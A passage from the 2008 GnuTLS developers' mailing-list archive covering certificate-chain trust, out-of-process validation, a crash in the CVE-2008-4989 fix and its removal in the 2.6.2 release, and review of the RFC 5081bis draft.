> Opens up for problems with revocation of my CA certificate, but
> still...

Revocation of the cert for the intermediate CA is only meaningful if
you trust the parent CA in the first place.  Your intermediate CA
could actually have several certificates (each from a different root
CA), and one root CA should be able to revoke its certificate without
affecting people who don't care about it.

It does raise an interesting question of what to do if you "trust"
both the intermediate CA and the root CA, and the root CA has revoked
the cert that you have for the intermediate CA, though.  Should the
intermediate CA still be trusted in that case?

The proper way to handle this kind of flexibility is with OpenPGP
certificates, but we've still got work to do before that
infrastructure is widely adopted.

        --dkg
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 826 bytes
Desc: not available
URL: </pipermail/attachments/20081111/c218ca05/attachment.pgp>

From simon at josefsson.org  Wed Nov 12 09:27:56 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Wed, 12 Nov 2008 09:27:56 +0100
Subject: supporting out-of-process certificate validation
In-Reply-To: <87r65iuezi.fsf_-_@squeak.fifthhorseman.net> (Daniel Kahn
	Gillmor's message of "Tue, 11 Nov 2008 16:31:13 -0500")
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<cone.1226367355.150099.10890.500@commodore.email-scan.com>
	<87ej1iqmzy.fsf@mocca.josefsson.org>
	<87r65iuezi.fsf_-_@squeak.fifthhorseman.net>
Message-ID: <87hc6dtkkz.fsf@mocca.josefsson.org>

Daniel Kahn Gillmor <dkg at fifthhorseman.net> writes:

> On Tue 2008-11-11 10:51:45 -0500, Simon Josefsson wrote:
>
>> Generally, I don't think X.509 validation belongs in the same
>> process as a TLS client or server -- it is complex and mistakes will
>> happen, it is better to put all X.509 handling (including private
>> key handling) in a separate process.
>
> This sounds like a good thing to me.  Do we have a clear API or
> inter-process protocol for these functions?

This sounds like a good idea to flesh out on our wiki, I've created a
starting pointer:

http://redmine.josefsson.org/wiki/gnutls/GnuTLSExternalValidation

> I quite like (and use daily) OpenSSH's ssh-agent model for
> out-of-process handling of private keys [0].  I'd love to see that
> used (or extended if the data types are incompatible) to be able to
> work with TLS connections.  Then a single backend agent could be used
> for both SSH and TLS connections.

I like this model too.

> I'd be very interested in helping to flesh out what communications
> primitives this kind of a spec should involve, particularly if it
> allows people to substitute different validation models depending on
> personal preference, and to share validation models across
> applications.
>
> If anyone else is working on such a spec, i'd love to hear about it.

Let's start discuss it.

I think we can share many ideas and even code from GnuPG 2.x, so it
would be useful if people familiar with that code helped us here.  (Hi
Werner. :))

/Simon




From simon at josefsson.org  Wed Nov 12 09:29:41 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Wed, 12 Nov 2008 09:29:41 +0100
Subject: trusted intermediate CAs
In-Reply-To: <87k5bauewu.fsf_-_@squeak.fifthhorseman.net> (Daniel Kahn
	Gillmor's message of "Tue, 11 Nov 2008 16:32:49 -0500")
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<cone.1226367355.150099.10890.500@commodore.email-scan.com>
	<87ej1iqmzy.fsf@mocca.josefsson.org>
	<87k5bauewu.fsf_-_@squeak.fifthhorseman.net>
Message-ID: <87d4h1tki2.fsf@mocca.josefsson.org>

Daniel Kahn Gillmor <dkg at fifthhorseman.net> writes:

> i think certtool(1) is problematic in that way, fwiw:
>
>       -e, --verify-chain
>               Verify a PEM encoded certificate chain.  The last certificate in
>               the chain must be a self signed one.

Btw, note that certtool -e does not use the same chain validation
algorithm as the GnuTLS library uses -- I believe certtool -e would have
rejected the faulty gnutls-sa-2008-3 chain.

/Simon




From wk at gnupg.org  Wed Nov 12 09:59:31 2008
From: wk at gnupg.org (Werner Koch)
Date: Wed, 12 Nov 2008 09:59:31 +0100
Subject: supporting out-of-process certificate validation
In-Reply-To: <87hc6dtkkz.fsf@mocca.josefsson.org> (Simon Josefsson's message
	of "Wed, 12 Nov 2008 09:27:56 +0100")
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<cone.1226367355.150099.10890.500@commodore.email-scan.com>
	<87ej1iqmzy.fsf@mocca.josefsson.org>
	<87r65iuezi.fsf_-_@squeak.fifthhorseman.net>
	<87hc6dtkkz.fsf@mocca.josefsson.org>
Message-ID: <87abc5l3po.fsf@wheatstone.g10code.de>

On Wed, 12 Nov 2008 09:27, simon at josefsson.org said:

> I think we can share many ideas and even code from GnuPG 2.x, so it
> would be useful if people familiar with that code helped us here.  (Hi

For a test you may use 

  $ dirmngr-client --validate y.crt
  dirmngr-client: certificate is valid

  $ dirmngr-client --validate x.crt
  dirmngr-client: validation of certificate failed: Certificate expired

This is a very simple tool which connects to the dirmngr and asks it to
validate a certificate by using dirmngr's own validation code.  It is
actually a debugging fature for the validation code.  Using the dirmngr
daemon has the advantage that it will cache certificates and validation
results and try to get missing certificates from other places.


Salam-Shalom,

   Werner

-- 
Die Gedanken sind frei.  Auschnahme regelt ein Bundeschgesetz.





From simon at josefsson.org  Wed Nov 12 10:13:02 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Wed, 12 Nov 2008 10:13:02 +0100
Subject: supporting out-of-process certificate validation
In-Reply-To: <87abc5l3po.fsf@wheatstone.g10code.de> (Werner Koch's message of
	"Wed, 12 Nov 2008 09:59:31 +0100")
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<cone.1226367355.150099.10890.500@commodore.email-scan.com>
	<87ej1iqmzy.fsf@mocca.josefsson.org>
	<87r65iuezi.fsf_-_@squeak.fifthhorseman.net>
	<87hc6dtkkz.fsf@mocca.josefsson.org>
	<87abc5l3po.fsf@wheatstone.g10code.de>
Message-ID: <87skpxs3xd.fsf@mocca.josefsson.org>

Werner Koch <wk at gnupg.org> writes:

> On Wed, 12 Nov 2008 09:27, simon at josefsson.org said:
>
>> I think we can share many ideas and even code from GnuPG 2.x, so it
>> would be useful if people familiar with that code helped us here.  (Hi
>
> For a test you may use 
>
>   $ dirmngr-client --validate y.crt
>   dirmngr-client: certificate is valid
>
>   $ dirmngr-client --validate x.crt
>   dirmngr-client: validation of certificate failed: Certificate expired
>
> This is a very simple tool which connects to the dirmngr and asks it to
> validate a certificate by using dirmngr's own validation code.  It is
> actually a debugging fature for the validation code.  Using the dirmngr
> daemon has the advantage that it will cache certificates and validation
> results and try to get missing certificates from other places.

Great.  However, you mentioned that it wasn't designed to protect
against DoS scenarios?  I think a GnuTLS validation backend needs that.

I'm not sure exactly what the DoS attacks are here.  The obvious one is
when the attacker sends a long X.509 chain with large RSA keys that
takes a long time to verify the signatures for.  The solution to that
problem is to verify signatures from your trusted certificates and down,
not the other way around.  You can still build the chain path starting
with the end entity certificate though, if you don't want to alter the
chain building algorithm.  Are there other DoS considerations?

Still, I think using the GnuPG 2.x tools for this will save us much code
duplication and better overall system harmony in the end.

/Simon




From simon at josefsson.org  Wed Nov 12 11:15:31 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Wed, 12 Nov 2008 11:15:31 +0100
Subject: Bug#505279: libgnutls26: segfault in
	_gnutls_x509_crt_get_raw_dn2
In-Reply-To: <20081112100138.GA15126@feivel.credativ.de> (Michael Meskes's
	message of "Wed, 12 Nov 2008 11:01:38 +0100")
References: <20081111114007.20961.91566.reportbug@feivel.credativ.de>
	<87prl2s7l8.fsf@mocca.josefsson.org>
	<20081111152524.GA15851@feivel.credativ.de>
	<878wrqqmsy.fsf@mocca.josefsson.org>
	<20081112100138.GA15126@feivel.credativ.de>
Message-ID: <87ej1hs118.fsf@mocca.josefsson.org>

Michael Meskes <meskes at debian.org> writes:

> On Tue, Nov 11, 2008 at 04:55:57PM +0100, Simon Josefsson wrote:
>> I think we have identified the problem, see:
>> 
>> http://thread.gmane.org/gmane.comp.encryption.gpg.gnutls.devel/3216/focus=3230
>> 
>> That patch at least solves the vulnerability and the crash, so possibly
>> it could be uploaded to debian to avoid further troubles until we have
>> released a 2.6.2 with a good fix.
>
> You mean just removing this code snippet instead of moving it?
>
>   /* Check if the last certificate in the path is self signed.
>    * In that case ignore it (a certificate is trusted only if it
>    * leads to a trusted party by us, not the server's).
>    */
>   if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1],
>                                    certificate_list[clist_size - 1]) > 0
>       && clist_size > 0)
>     {
>       clist_size--;
>     }

Yes.

> Yes, this works. However, I wonder whether this code has any use.

Getting Nikos' comment on this would be useful.  I guess we have two
choices:

1) Remove the code.  Fixes both crash and vulnerability.
2) Change the test to clist_size>1.  Fixes both crash and vulnerability.

> If so, wouldn't it help to just use "clist_size > 1" instead of
> "clist_size > 0"? The > 0 test is bogus if you access clist_size - 1
> afterwards, but with the > 1 test it works for me as well, i.e. no
> segfault anymore.

Yes, that version of the patch works too.  I'm not sure what the
semantic differences are between the two patches.

/Simon




From simon at josefsson.org  Wed Nov 12 11:16:08 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Wed, 12 Nov 2008 11:16:08 +0100
Subject: The _gnutls_x509_verify_certificate fix
In-Reply-To: <877i7auhsf.fsf@mocca.josefsson.org> (Simon Josefsson's message
	of "Tue, 11 Nov 2008 21:30:40 +0100")
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<c331d99a0811101204j28ee07dai6cba8ae83e7e2a74@mail.gmail.com>
	<1226398248.3447.353.camel@vespa.frost.loc>
	<87y6zqqp4p.fsf@mocca.josefsson.org>
	<87od0mqojj.fsf@mocca.josefsson.org>
	<87iqquqn8s.fsf@mocca.josefsson.org>
	<20081111191649.GB4518@downhill.g.la>
	<877i7auhsf.fsf@mocca.josefsson.org>
Message-ID: <87d4h1s107.fsf@mocca.josefsson.org>

Simon Josefsson <simon at josefsson.org> writes:

>> Applying this to 2.4.2 this does away with the crash, however it does
>> not fix the advisory anymore. (The way to reproduce described in
>> http://news.gmane.org/find-root.php?message_id=%3c4918143A.3050103%40gmx.net%3e
>> works again.
>
> Really?  I think the patch should solve both the crash and the
> advisory.  Are you sure you used the right library?

I've tested the patch and it appears to fix both the crash and the
vulnerability.  Please test it again.  I've prepared a daily build of
v2.6.2 containing that fix:

http://daily.josefsson.org/gnutls-2.6/gnutls-2.6-20081112.tar.gz

/Simon




From bejnet at yahoo.com  Wed Nov 12 11:11:45 2008
From: bejnet at yahoo.com (Bejoy Abraham Mathews)
Date: Wed, 12 Nov 2008 15:41:45 +0530 (IST)
Subject: OpenLDAP related flaw in GnuTLS
References: <mailman.6988.1226483136.26696.help-gnutls@gnu.org>
Message-ID: <568891.16563.qm@web95415.mail.in2.yahoo.com>

Hi

I
have been trying to setup OpenLDAP+GnuTLS. But not that successful.
Could someone guide me on this or some link? In the meanwhile I am
trying my best to set it up still...

Hope these two complaints on gnutls, have been looked into, in the latest versions
1. http://www.openldap.org/lists/openldap-devel/200802/msg00072.html 
2. http://rustykruffle.com/2008/07/17/ultimate-home-server-ldap-gnutls-nightmare/. 

With Regards
Bejoy



      Be the first one to try the new Messenger 9 Beta! Go to http://in.messenger.yahoo.com/win/
-------------- next part --------------
An HTML attachment was scrubbed...
URL: </pipermail/attachments/20081112/311cbdad/attachment.htm>

From wk at gnupg.org  Wed Nov 12 11:52:08 2008
From: wk at gnupg.org (Werner Koch)
Date: Wed, 12 Nov 2008 11:52:08 +0100
Subject: supporting out-of-process certificate validation
In-Reply-To: <87skpxs3xd.fsf@mocca.josefsson.org> (Simon Josefsson's message
	of "Wed, 12 Nov 2008 10:13:02 +0100")
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<cone.1226367355.150099.10890.500@commodore.email-scan.com>
	<87ej1iqmzy.fsf@mocca.josefsson.org>
	<87r65iuezi.fsf_-_@squeak.fifthhorseman.net>
	<87hc6dtkkz.fsf@mocca.josefsson.org>
	<87abc5l3po.fsf@wheatstone.g10code.de>
	<87skpxs3xd.fsf@mocca.josefsson.org>
Message-ID: <87wsf9jjxj.fsf@wheatstone.g10code.de>

On Wed, 12 Nov 2008 10:13, simon at josefsson.org said:

> I'm not sure exactly what the DoS attacks are here.  The obvious one is
> when the attacker sends a long X.509 chain with large RSA keys that
> takes a long time to verify the signatures for.  The solution to that

Right, that is what I had in mind.  It is not a real threat for
non-online applications like GnuPG, thus the certificates are verified
as early as possible.  Because GnuPG is usually configured to
automatically retrieve missing certificates (and CRL for all of them),
the network access is usually the bottleneck.

I once had the plan to write some universal chain validation code but it
turned out that the requirements are all to different and thus such code
would be cluttered with all kinds of hook to allow retrieving of missing
certificates, query the user, check policies and soon.  So I ended up
with slightly different validation code in GnuPG (gpgsm) and dirmngr.


Salam-Shalom,

   Werner

-- 
Die Gedanken sind frei.  Auschnahme regelt ein Bundeschgesetz.





From n.mavrogiannopoulos at gmail.com  Wed Nov 12 14:37:35 2008
From: n.mavrogiannopoulos at gmail.com (Nikos Mavrogiannopoulos)
Date: Wed, 12 Nov 2008 15:37:35 +0200
Subject: Bug#505279: libgnutls26: segfault in
	_gnutls_x509_crt_get_raw_dn2
In-Reply-To: <87ej1hs118.fsf@mocca.josefsson.org>
References: <20081111114007.20961.91566.reportbug@feivel.credativ.de>
	<87prl2s7l8.fsf@mocca.josefsson.org>
	<20081111152524.GA15851@feivel.credativ.de>
	<878wrqqmsy.fsf@mocca.josefsson.org>
	<20081112100138.GA15126@feivel.credativ.de>
	<87ej1hs118.fsf@mocca.josefsson.org>
Message-ID: <c331d99a0811120537p26536a0by44b2460280ba3fa2@mail.gmail.com>

On Wed, Nov 12, 2008 at 12:15 PM, Simon Josefsson <simon at josefsson.org> wrote:

>> You mean just removing this code snippet instead of moving it?
>>
>>   /* Check if the last certificate in the path is self signed.
>>    * In that case ignore it (a certificate is trusted only if it
>>    * leads to a trusted party by us, not the server's).
>>    */
>>   if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1],
>>                                    certificate_list[clist_size - 1]) > 0
>>       && clist_size > 0)
>>     {
>>       clist_size--;
>>     }
>
> Yes.
>
>> Yes, this works. However, I wonder whether this code has any use.
> Getting Nikos' comment on this would be useful.  I guess we have two
> choices:
>
> 1) Remove the code.  Fixes both crash and vulnerability.

My suggestion is to remove the offending code.

regards,
Nikos




From simon at josefsson.org  Wed Nov 12 15:02:52 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Wed, 12 Nov 2008 15:02:52 +0100
Subject: Bug#505279: libgnutls26: segfault in
	_gnutls_x509_crt_get_raw_dn2
In-Reply-To: <c331d99a0811120537p26536a0by44b2460280ba3fa2@mail.gmail.com>
	(Nikos Mavrogiannopoulos's message of "Wed, 12 Nov 2008 15:37:35
	+0200")
References: <20081111114007.20961.91566.reportbug@feivel.credativ.de>
	<87prl2s7l8.fsf@mocca.josefsson.org>
	<20081111152524.GA15851@feivel.credativ.de>
	<878wrqqmsy.fsf@mocca.josefsson.org>
	<20081112100138.GA15126@feivel.credativ.de>
	<87ej1hs118.fsf@mocca.josefsson.org>
	<c331d99a0811120537p26536a0by44b2460280ba3fa2@mail.gmail.com>
Message-ID: <87wsf9oxdf.fsf@mocca.josefsson.org>

"Nikos Mavrogiannopoulos" <n.mavrogiannopoulos at gmail.com> writes:

>> 1) Remove the code.  Fixes both crash and vulnerability.
>
> My suggestion is to remove the offending code.

Thanks.  I'll prepare a 2.6.2 release.

/Simon




From simon at josefsson.org  Wed Nov 12 15:45:34 2008
From: simon at josefsson.org (Simon Josefsson)
Date: Wed, 12 Nov 2008 15:45:34 +0100
Subject: GnuTLS 2.6.2 - Brown paper bag release
Message-ID: <87myg5ove9.fsf@mocca.josefsson.org>

We are proud to announce a new stable GnuTLS release: Version 2.6.2.

GnuTLS is a modern C library that implement the standard network
security protocol Transport Layer Security (TLS), for use by network
applications.  GnuTLS is developed for GNU/Linux, but works on many
Unix-like systems and comes with a binary installer for Windows.

The GnuTLS library is distributed under the terms of the GNU Lesser
General Public License version 2.1 (or later).  The "extra" GnuTLS
library (which contains TLS/IA support, LZO compression and Libgcrypt
FIPS-mode handler), the OpenSSL compatibility library, the self tests
and the command line tools are all distributed under the GNU General
Public License version 3.0 (or later).  The manual is distributed under
the GNU Free Documentation License version 1.2 (or later).

The project page of the library is available at:
  http://www.gnutls.org/
  http://www.gnu.org/software/gnutls/

What's New
==========

Version 2.6.2 is a maintenance release on our stable branch.

* Version 2.6.2 (released 2008-11-12)

** libgnutls: Fix crash in X.509 validation code for self-signed certificates.
The patch to fix the security problem GNUTLS-SA-2008-3 introduced a
problem for certificate chains that contained just one self-signed
certificate.  Reported by Michael Meskes <meskes at debian.org> in
<http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=505279>.

** API and ABI modifications:
No changes since last version.

Getting the Software
====================

GnuTLS may be downloaded from one of the mirror sites or direct from
<ftp://ftp.gnu.org/gnu/gnutls/>.  The list of mirrors can be found at
<http://www.gnu.org/software/gnutls/download.html>.

Here are the BZIP2 compressed sources (4.9MB):

  ftp://ftp.gnu.org/gnu/gnutls/gnutls-2.6.2.tar.bz2
  http://ftp.gnu.org/gnu/gnutls/gnutls-2.6.2.tar.bz2

Here are OpenPGP detached signatures signed using key 0xB565716F:

  ftp://ftp.gnu.org/gnu/gnutls/gnutls-2.6.2.tar.bz2.sig
  http://ftp.gnu.org/gnu/gnutls/gnutls-2.6.2.tar.bz2.sig

Note, that we don't distribute gzip compressed tarballs.

In order to check that the version of GnuTLS which you are going to
install is an original and unmodified one, you should verify the OpenPGP
signature.  You can use the command

     gpg --verify gnutls-2.6.2.tar.bz2.sig

This checks whether the signature file matches the source file.  You
should see a message indicating that the signature is good and made by
that signing key.  Make sure that you have the right key, either by
checking the fingerprint of that key with other sources or by checking
that the key has been signed by a trustworthy other key.  The signing
key can be identified with the following information:

pub   1280R/B565716F 2002-05-05 [expires: 2009-04-21]
      Key fingerprint = 0424 D4EE 81A0 E3D1 19C6  F835 EDA2 1E94 B565 716F
uid                  Simon Josefsson <simon at josefsson.org>
uid                  Simon Josefsson <jas at extundo.com>
sub   1280R/4D5D40AE 2002-05-05 [expires: 2009-04-21]

The key is available from:
  http://josefsson.org/key.txt
  dns:b565716f.josefsson.org?TYPE=CERT

Alternatively, after successfully verifying the OpenPGP signature of
this announcement, you could verify that the files match the following
checksum values.  The values are for SHA-1 and SHA-224 respectively:

2c7701b61c86d5cec8305f8741bc18bc64f33b31  gnutls-2.6.2.tar.bz2

7783486a33d91eb4872c8f9a51f91bdc928651b6e2d4a0ffb656cb87  gnutls-2.6.2.tar.bz2

Documentation
=============

The manual is available online at:

  http://www.gnu.org/software/gnutls/documentation.html

In particular the following formats are available:

 HTML: http://www.gnu.org/software/gnutls/manual/html_node/index.html
 PDF: http://www.gnu.org/software/gnutls/manual/gnutls.pdf

For developers there is a GnuTLS API reference manual formatted using
the GTK-DOC tools:

  http://www.gnu.org/software/gnutls/reference/gnutls-gnutls.html

Community
=========

If you need help to use GnuTLS, or want to help others, you are invited
to join our help-gnutls mailing list, see:

  http://lists.gnu.org/mailman/listinfo/help-gnutls

If you wish to participate in the development of GnuTLS, you are invited
to join our gnutls-dev mailing list, see:

  http://lists.gnu.org/mailman/listinfo/gnutls-devel

Windows installer
=================

GnuTLS has been ported to the Windows operating system, and a binary
installer is available.  The installer contains DLLs for application
development, manuals, examples, and source code.  The installer uses
libgpg-error v1.6, libgcrypt v1.4.3, libtasn1 v1.5, and GnuTLS v2.6.2.

For more information about GnuTLS for Windows:
  http://josefsson.org/gnutls4win/

The Windows binary installer and PGP signature:
  http://josefsson.org/gnutls4win/gnutls-2.6.2.exe (14MB)
  http://josefsson.org/gnutls4win/gnutls-2.6.2.exe.sig

The checksum values for SHA-1 and SHA-224 are:

5f870f13d96965669598917b82f531825dcc6810  gnutls-2.6.2.exe

d2b9b3a153ed45d1262fe38217e3c40dd04500e654b3cbb0f8ce3107  gnutls-2.6.2.exe

Thanks to Enrico Tassi, we also have mingw32 *.deb's available:
  http://josefsson.org/gnutls4win/mingw32-gnutls_2.6.2-1_all.deb

The checksum values for SHA-1 and SHA-224 are:

577d2d9df6d0de1b2cd0bca152ad9b3f0f75d171  mingw32-gnutls_2.6.2-1_all.deb

f7342095ba15f9b6c9c3176b27ba3491548bef33d32dffe780b20788  mingw32-gnutls_2.6.2-1_all.deb

Internationalization
====================

GnuTLS messages have been translated into Dutch, French, German,
Malay, Polish, Swedish, and Vietnamese.  We welcome the addition of
more translations.

Support
=======

Improving GnuTLS is costly, but you can help!  We are looking for
organizations that find GnuTLS useful and wish to contribute back.
You can contribute by reporting bugs, improve the software, or donate
money or equipment.

Commercial support contracts for GnuTLS are available, and they help
finance continued maintenance.  Simon Josefsson Datakonsult, a
Stockholm based privately held company, is currently funding GnuTLS
maintenance.  We are always looking for interesting development
projects.  See http://josefsson.org/ for more details.

The GnuTLS service directory is available at:

  http://www.gnu.org/software/gnutls/commercial.html

Security Patch
==============

The following patch can be used if you use releases older than v2.6.1,
or if you don't want to upgrade to v2.6.2.  It fixes the
GNUTLS-SA-2008-3 aka CVE-2008-4989 vulnerability and the crash that was
triggered by the patch used to fix the vulnerability in v2.6.1.  The
patch was created against v2.6.0.

--- lib/x509/verify.c-	2008-11-12 15:39:53.000000000 +0100
+++ lib/x509/verify.c	2008-11-12 15:40:18.000000000 +0100
@@ -412,17 +412,6 @@
     }
 #endif
 
-  /* Check if the last certificate in the path is self signed.
-   * In that case ignore it (a certificate is trusted only if it
-   * leads to a trusted party by us, not the server's).
-   */
-  if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1],
-				    certificate_list[clist_size - 1]) > 0
-      && clist_size > 0)
-    {
-      clist_size--;
-    }
-
   /* Verify the certificate path (chain) 
    */
   for (i = clist_size - 1; i > 0; i--)

Happy Hacking,
Simon
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 419 bytes
Desc: not available
URL: </pipermail/attachments/20081112/f58aab7b/attachment.pgp>

From ametzler at downhill.at.eu.org  Wed Nov 12 19:36:55 2008
From: ametzler at downhill.at.eu.org (Andreas Metzler)
Date: Wed, 12 Nov 2008 19:36:55 +0100
Subject: The _gnutls_x509_verify_certificate fix
In-Reply-To: <87d4h1s107.fsf@mocca.josefsson.org>
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<c331d99a0811101204j28ee07dai6cba8ae83e7e2a74@mail.gmail.com>
	<1226398248.3447.353.camel@vespa.frost.loc>
	<87y6zqqp4p.fsf@mocca.josefsson.org>
	<87od0mqojj.fsf@mocca.josefsson.org>
	<87iqquqn8s.fsf@mocca.josefsson.org>
	<20081111191649.GB4518@downhill.g.la>
	<877i7auhsf.fsf@mocca.josefsson.org>
	<87d4h1s107.fsf@mocca.josefsson.org>
Message-ID: <20081112183655.GB4905@downhill.g.la>

On 2008-11-12 Simon Josefsson <simon at josefsson.org> wrote:
> Simon Josefsson <simon at josefsson.org> writes:

>>> Applying this to 2.4.2 this does away with the crash, however it does
>>> not fix the advisory anymore. (The way to reproduce described in
>>> http://news.gmane.org/find-root.php?message_id=%3c4918143A.3050103%40gmx.net%3e
>>> works again.

>> Really?  I think the patch should solve both the crash and the
>> advisory.  Are you sure you used the right library?

> I've tested the patch and it appears to fix both the crash and the
> vulnerability.  Please test it again.
[...]

You are right, sorry for the noise. Do not know what happened
yesterday.
cu andreas
-- 
`What a good friend you are to him, Dr. Maturin. His other friends are
so grateful to you.'
`I sew his ears on from time to time, sure'




From dkg at fifthhorseman.net  Wed Nov 12 20:34:21 2008
From: dkg at fifthhorseman.net (Daniel Kahn Gillmor)
Date: Wed, 12 Nov 2008 14:34:21 -0500
Subject: trusted intermediate CAs
In-Reply-To: <87d4h1tki2.fsf@mocca.josefsson.org> (Simon Josefsson's message
	of "Wed\, 12 Nov 2008 09\:29\:41 +0100")
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<cone.1226367355.150099.10890.500@commodore.email-scan.com>
	<87ej1iqmzy.fsf@mocca.josefsson.org>
	<87k5bauewu.fsf_-_@squeak.fifthhorseman.net>
	<87d4h1tki2.fsf@mocca.josefsson.org>
Message-ID: <87abc420xu.fsf@squeak.fifthhorseman.net>

On Wed 2008-11-12 03:29:41 -0500, Simon Josefsson wrote:

> Btw, note that certtool -e does not use the same chain validation
> algorithm as the GnuTLS library uses -- I believe certtool -e would
> have rejected the faulty gnutls-sa-2008-3 chain.

Why does certtool not use the same validation technique used in the
library?  Is this a deliberate design decision?  Is there a simple
invocation i can use if i have a certificate chain (but no access to
the end entity's private key) and i want to see how the library would
treat it?

certtool --verify-chain seems like the obvious choice (just like i
expect "openssl verify" to faithfully exercise libssl behavior).  What
am i missing?  What is the advantage to having certtool run a
different set of tests?

  --dkg
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 826 bytes
Desc: not available
URL: </pipermail/attachments/20081112/4d767a56/attachment.pgp>

From dkg at fifthhorseman.net  Wed Nov 12 22:38:57 2008
From: dkg at fifthhorseman.net (Daniel Kahn Gillmor)
Date: Wed, 12 Nov 2008 16:38:57 -0500
Subject: rfc5081 update
In-Reply-To: <490F4F26.1030104@gnutls.org> (Nikos Mavrogiannopoulos's message
	of "Mon\, 03 Nov 2008 21\:21\:10 +0200")
References: <490F4F26.1030104@gnutls.org>
Message-ID: <873ahw1v66.fsf@squeak.fifthhorseman.net>

On Mon 2008-11-03 14:21:10 -0500, Nikos Mavrogiannopoulos wrote:

> ftp://ftp.rfc-editor.org/in-notes/internet-drafts/draft-mavrogiannopoulos-rfc5081bis-02.txt

Sorry it's taken me a while to really read this.  I have a few
concerns.  If this is not the proper forum for airing these things,
just point me in the right direction.

 * The draft does not specify what version of OpenPGP certificates
   should be used for this.  Given that RFC 4880 explicitly deprecated
   V3 certificates, i think this draft should at least do the same.
   It would be simpler for implementation if this draft specified that
   compliant implementations MUST support V4 certificates, and MUST
   NOT use V3 certificates.

 * Section 3.1 is phrased as a comparison between client and server:

      struct {
         select(ClientOrServerExtension) {
            case client:
               CertificateType certificate_types<1..2^8-1>;
            case server:
               CertificateType certificate_type;
         }
      } CertificateTypeExtension;

    However, i think this is misleading; when the same struct is used
    during the Client Certificate Request, the server offers some
    number of CertificateType possibilities, and the client responds
    with the CertificateType of its choosing.  If i'm reading this
    right, the naming is actually backwards when the struct is used in
    section 3.5.  Maybe it would be better to refer to these struct
    elements as request/response instead of client/server?

 * It looks like the values for OpenPGPCertDescriptorType are
   overlapped: in particular, 1 is bound to "cert" in 5081, but bound
   to "empty_cert" in 5081bis.  This seems like it could cause
   problems if one party implements 5081 and the other implements
   5081bis.

 * There is no IANA registry requested for OpenPGPCertDescriptorType,
   and none is allocated in 5081 either.  Is that OK?  Could this enum
   ever change?  Who will manage addition of new values there are
   changes needed?

 * I'm concerned that the useful values for OpenPGPCertDescriptorType
   (subkey_cert and subkey_cert_fingerprint) all refer to subkeys.
   It's certainly possible to set the Authentication (0x20) Usage flag
   [0] on the primary key, or to have a primary key with no subkeys.
   While i think the obvious answer is that the keyid can refer to
   *either* the primary key or the subkey (but to a specific key, not
   to the entire aggregated certificate), it seems a little odd to
   explicitly call it the subkey id.

 * Why are OpenPGPKeyID elements written foo<1..8>.  Shouldn't we be
   requiring the full 8 bytes of keyid?  The syntax seems to imply to
   me that i could offer a 1-byte KeyID and still be compliant.

 * Why does OpenPGPSubKeyFingerprint contain both OpenPGPKeyID and
   OpenPGPCertFingerprint?  For V4 keys, the KeyID is just the
   low-order 64 bits of the fingerprint [1].  If we only allow
   V4-or-later keys in this spec, we could remove that struct element.

Hope these questions and ideas are useful.  Please let me know if i'm
not making sense.  I look forward to your feedback!

     --dkg

[0] http://tools.ietf.org/html/rfc4880#section-5.2.3.21
[1] http://tools.ietf.org/html/rfc4880#section-12.2
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 826 bytes
Desc: not available
URL: </pipermail/attachments/20081112/df8467fa/attachment.pgp>

From nmav at gnutls.org  Wed Nov 12 22:41:32 2008
From: nmav at gnutls.org (Nikos Mavrogiannopoulos)
Date: Wed, 12 Nov 2008 23:41:32 +0200
Subject: trusted intermediate CAs
In-Reply-To: <87abc420xu.fsf@squeak.fifthhorseman.net>
References: <1226324836.3447.296.camel@vespa.frost.loc>	<cone.1226367355.150099.10890.500@commodore.email-scan.com>	<87ej1iqmzy.fsf@mocca.josefsson.org>	<87k5bauewu.fsf_-_@squeak.fifthhorseman.net>	<87d4h1tki2.fsf@mocca.josefsson.org>
	<87abc420xu.fsf@squeak.fifthhorseman.net>
Message-ID: <491B4D8C.6070505@gnutls.org>

Daniel Kahn Gillmor wrote:
> On Wed 2008-11-12 03:29:41 -0500, Simon Josefsson wrote:
> 
>> Btw, note that certtool -e does not use the same chain validation
>> algorithm as the GnuTLS library uses -- I believe certtool -e would
>> have rejected the faulty gnutls-sa-2008-3 chain.
> 
> Why does certtool not use the same validation technique used in the
> library?  Is this a deliberate design decision? 

Yes. As I explained in a previous email, the library doesn't export any
high level verification function to verify certificate chains. I
expected applications to use their own and that's what certtool it does.

> Is there a simple
> invocation i can use if i have a certificate chain (but no access to
> the end entity's private key) and i want to see how the library would
> treat it?

No. The certtool interface is quite primitive and could be improved (say
support a trusted certificate list or more).

regards,
Nikos




From dkg at fifthhorseman.net  Thu Nov 13 00:27:39 2008
From: dkg at fifthhorseman.net (Daniel Kahn Gillmor)
Date: Wed, 12 Nov 2008 18:27:39 -0500
Subject: trusted intermediate CAs
In-Reply-To: <491B4D8C.6070505@gnutls.org> (Nikos Mavrogiannopoulos's message
	of "Wed\, 12 Nov 2008 23\:41\:32 +0200")
References: <1226324836.3447.296.camel@vespa.frost.loc>
	<cone.1226367355.150099.10890.500@commodore.email-scan.com>
	<87ej1iqmzy.fsf@mocca.josefsson.org>
	<87k5bauewu.fsf_-_@squeak.fifthhorseman.net>
	<87d4h1tki2.fsf@mocca.josefsson.org>
	<87abc420xu.fsf@squeak.fifthhorseman.net>
	<491B4D8C.6070505@gnutls.org>
Message-ID: <87fxlwy178.fsf@squeak.fifthhorseman.net>

